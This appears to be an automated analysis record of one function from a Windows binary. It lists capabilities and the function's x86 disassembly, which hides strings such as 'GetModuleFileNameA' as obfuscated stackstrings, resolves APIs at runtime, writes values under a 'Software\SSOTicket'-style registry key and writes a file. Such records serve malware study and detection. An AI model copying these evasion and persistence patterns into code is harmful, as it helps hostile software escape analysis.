Function at 0x100046d0
Capabilities:
Contain obfuscated stackstrings
Resolve function by parsing pe exports
Set registry value
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x5a4
mov eax, dword [0x100b5350]
xor eax, esp
mov dword [esp + 0x5a0], eax
mov eax, dword [ebp + 0x14]
push ebx
mov dword [0x100b8a28], eax
mov eax, dword [ebp + 0x10]
push esi
push edi
mov dword [0x100b8a30], eax
mov eax, dword [ebp + 0xc]
push 0x3ff
mov dword [0x100b8a2c], eax
lea eax, [esp + 0x1ad]
push 0
push eax
mov byte [esp + 0x1b4], 0
call fcn.10073290
add esp, 0xc
lea ecx, [esp + 0x1a8]
call fcn.10002e20
mov ecx, 0x100a758c
lea eax, [esp + 0x1a8]
lea esp, [esp]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x10004760
test dl, dl
je 0x1000475c
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x10004760
add eax, 2
add ecx, 2
test dl, dl
jne 0x10004740
xor edi, edi
jmp 0x10004765
sbb edi, edi
or edi, 1
lea ecx, [esp + 0x14]
call fcn.10008c10
push 0x400
lea ecx, [esp + 0x18]
call fcn.10009350
mov ecx, eax
call fcn.10002e20
push ecx
lea ecx, [esp + 0x18]
call fcn.10009380
lea ecx, [esp + 0x10]
call fcn.10008c10
push 0x400
lea ecx, [esp + 0x14]
call fcn.10009350
mov ecx, eax
call fcn.10002e20
push ecx
lea ecx, [esp + 0x14]
call fcn.10009380
lea ecx, [esp + 0x18]
call fcn.10008c10
push 0x400
lea ecx, [esp + 0x1c]
call fcn.10009350
mov ecx, eax
call fcn.10002e20
push ecx
lea ecx, [esp + 0x1c]
call fcn.10009380
lea ecx, [esp + 0x1c]
call fcn.10008c10
push 0x400
lea ecx, [esp + 0x20]
call fcn.10009350
mov ecx, eax
call fcn.10002e20
push ecx
lea ecx, [esp + 0x20]
call fcn.10009380
lea ecx, [esp + 0x24]
call fcn.10008c10
push 0x400
lea ecx, [esp + 0x28]
call fcn.10009350
mov ecx, eax
call fcn.10002e20
push ecx
lea ecx, [esp + 0x28]
call fcn.10009380
lea eax, [esp + 0x7c]
push eax
mov dword [esp + 0x83], 0x336c656e
mov dword [esp + 0x89], 0x6c6c64
mov word [esp + 0x81], 0x7265
mov byte [esp + 0x80], 0x4b
mov word [esp + 0x87], 0x2e32
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test eax, eax
je 0x10004b10
lea ecx, [esp + 0x8c]
push ecx
push eax
mov word [esp + 0x9a], 0x6c75
mov word [esp + 0xa4], 0x4165
mov dword [esp + 0x96], 0x646f4d74
mov dword [esp + 0x9d], 0x656c6946
mov word [esp + 0xa1], 0x614e
mov byte [esp + 0x9c], 0x65
mov byte [esp + 0xa6], 0
mov word [esp + 0x94], 0x6547
mov byte [esp + 0xa3], 0x6d
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x103
mov esi, eax
lea eax, [esp + 0xa5]
push 0
push eax
mov byte [esp + 0xac], 0
call fcn.10073290
add esp, 0xc
lea eax, [esp + 0xa0]
push 0x104
push eax
push 0
call esi
lea ecx, [esp + 0xa0]
call fcn.10004190
test edi, edi
je 0x10004921
test al, al
je 0x10004921
xor bl, bl
jmp 0x10004923
mov bl, 1
lea ecx, [esp + 0x14]
call fcn.10001a10
mov edx, eax
lea ecx, [esp + 0x34]
call fcn.10004500
test bl, bl
jne 0x10004948
lea ecx, [esp + 0x34]
call fcn.10008500
test eax, eax
jne 0x100049c5
lea ecx, [esp + 0x28]
call fcn.10008c10
push 0x10
push 0
lea eax, [esp + 0x34]
push eax
lea ecx, [esp + 0x1c]
call fcn.10009030
push dword [esp + 0x14]
push str.b751061591fa443e8768508704e59163
push dword [eax]
lea eax, [esp + 0x34]
push str._s_s_s
push eax
call fcn.1000db70
add esp, 0x14
lea ecx, [esp + 0x2c]
call fcn.10008cc0
lea ecx, [esp + 0x28]
call fcn.10001a10
sub esp, 0x18
mov ecx, esp
push eax
call fcn.10008270
lea ecx, [esp + 0x64]
call fcn.1000f7e0
add esp, 0x18
lea ecx, [esp + 0x34]
push eax
call fcn.10008300
lea ecx, [esp + 0x4c]
call fcn.10008390
lea ecx, [esp + 0x28]
call fcn.10008cc0
lea ecx, [esp + 0x34]
mov word [esp + 0x6e], 0x4f53
mov word [esp + 0x67], 0x7774
mov dword [esp + 0x69], 0x5c657261
mov byte [esp + 0x70], 0
mov word [esp + 0x64], 0x6f53
mov byte [esp + 0x6d], 0x53
mov byte [esp + 0x66], 0x66
mov dword [esp + 0x74], 0x6b636954
mov word [esp + 0x79], 0x74
mov byte [esp + 0x78], 0x65
call fcn.10008500
push eax
lea ecx, [esp + 0x38]
call fcn.100084f0
mov edi, dword [sym.imp.SHLWAPI.dll_SHSetValueA]
push eax
push 1
lea eax, [esp + 0x80]
push eax
lea eax, [esp + 0x74]
push eax
push reloc.WS2_32.dll_bind
call edi
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
lea ecx, [esp + 0x3c]
call fcn.10001a10
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
push 0
lea eax, [esp + 0x34]
push eax
lea ecx, [esp + 0x3c]
mov dword [esp + 0x38], 0
call fcn.10008500
push eax
lea ecx, [esp + 0x40]
call fcn.100084f0
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x10]
mov dword [esp + 0x20], 0x646967
call fcn.10009360
push eax
lea ecx, [esp + 0x14]
call fcn.10001a10
push eax
push 1
lea eax, [esp + 0x2c]
push eax
lea eax, [esp + 0x74]
push eax
push reloc.WS2_32.dll_bind
call edi
lea ecx, [esp + 0x18]
call fcn.10009360
push eax
lea ecx, [esp + 0x1c]
call fcn.10001a10
push eax
push 1
push 0x100a7598
lea eax, [esp + 0x74]
push eax
push reloc.WS2_32.dll_bind
call edi
lea ecx, [esp + 0x1c]
call fcn.10009360
push eax
lea ecx, [esp + 0x20]
call fcn.10001a10
push eax
push 1
push 0x100a759c
lea eax, [esp + 0x74]
push eax
push reloc.WS2_32.dll_bind
call edi
lea ecx, [esp + 0x34]
call fcn.10008390
lea ecx, [esp + 0x24]
call fcn.10008cc0
lea ecx, [esp + 0x1c]
call fcn.10008cc0
lea ecx, [esp + 0x18]
call fcn.10008cc0
lea ecx, [esp + 0x10]
call fcn.10008cc0
lea ecx, [esp + 0x14]
call fcn.10008cc0
mov ecx, dword [esp + 0x5ac]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.100704e7
mov esp, ebp
pop ebp
ret